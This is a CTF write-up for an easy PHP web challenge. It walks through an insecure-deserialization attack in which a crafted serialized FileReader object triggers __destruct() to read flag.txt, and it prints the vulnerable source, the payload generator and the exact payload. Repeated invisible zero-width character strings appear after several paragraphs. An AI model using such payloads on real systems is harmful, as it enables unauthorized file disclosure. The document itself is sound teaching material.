← Back to Writeups
CUSTOMEasyWeb

Десериализатор

XESXOR9/10/20263 min read
#web#custom#easy#destruct_gadget#php_insecure_deserialization#private_property_null_bytes

Десериализатор

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: destruct_gadget, php_insecure_deserialization, private_property_null_bytes

Summary

Task: PHP web app passes user POST data directly to unserialize(), source contains FileReader class with __destruct() reading files. Solution: craft serialized FileReader object with private filename property set to flag.txt, null bytes required for private property serialization.

Десериализатор — Bug Makers CTF

Description

Попробуйте сервис для онлайн десериализации данных. Флаг записан в файле flag.txt и лежит на одном уровне с index.php Адрес: http://31.207.77.216:4015/

English summary: A web application provides a form for online PHP deserialization. User input is passed directly to unserialize(). The flag is stored in flag.txt at the same directory level as index.php. Full source code of index.php is provided.

Analysis

The source code reveals two critical components: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. FileReader class with __destruct() gadget

php
class FileReader {
    private $filename;
    
    public function __construct($filename) {
        $this->filename = $filename;
    }
    
    public function __destruct() {
        if (file_exists($this->filename)) {
            echo "Содержимое файла {$this->filename}:<br>";
            echo file_get_contents($this->filename);
        } else {
            echo "Файл {$this->filename} не существует";
        }
    }
}

The __destruct() magic method is automatically called by PHP's garbage collector when the object goes out of scope. It reads and echoes the contents of whatever file is specified in $this->filename. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Unsanitized unserialize() call

php
if (isset($_POST['data'])) {
    $user_data = htmlspecialchars_decode($_POST['data']);
    $obj = unserialize($user_data);
    echo "<h3>Unserialize data:</h3> <pre>";
    var_dump($obj);
    echo "</pre>";
}

User-controlled POST data is passed directly to unserialize() with no filtering, validation, or allowed-class restrictions (no allowed_classes option in the second argument).

Key detail: private property serialization

The $filename property is declared as private. In PHP's serialization format, private properties are prefixed with null bytes surrounding the class name: \0ClassName\0propertyName. This means the serialized property name is \0FileReader\0filename (20 bytes total: 1 null + 10 "FileReader" + 1 null + 8 "filename"), not simply filename. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Generate the serialized payload

Using PHP to correctly generate the payload with proper null bytes for the private property:

php
<?php
class FileReader {
    private $filename;
    public function __construct($filename) {
        $this->filename = $filename;
    }
}
echo serialize(new FileReader("flag.txt"));
// Output: O:10:"FileReader":1:{s:20:"\0FileReader\0filename";s:8:"flag.txt";}
?>

The resulting serialized string:

O:10:"FileReader":1:{s:20:"\0FileReader\0filename";s:8:"flag.txt";}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Breaking down the format:

  • O:10:"FileReader" — object of class FileReader (10 chars)
  • :1: — has 1 property
  • s:20:"\0FileReader\0filename" — private property name (20 bytes including null bytes)
  • s:8:"flag.txt" — property value

Step 2: Send the payload

Submit the serialized payload via the POST form's data parameter. The \0 null bytes must be actual null bytes (0x00), not the literal string \0.

Step 3: Trigger __destruct()

When unserialize() processes the payload, it creates a FileReader object with $filename = "flag.txt". After var_dump() outputs the object, PHP's garbage collector destroys it, triggering __destruct(), which calls file_get_contents("flag.txt") and echoes the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response

Содержимое файла flag.txt:
BugCTF{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍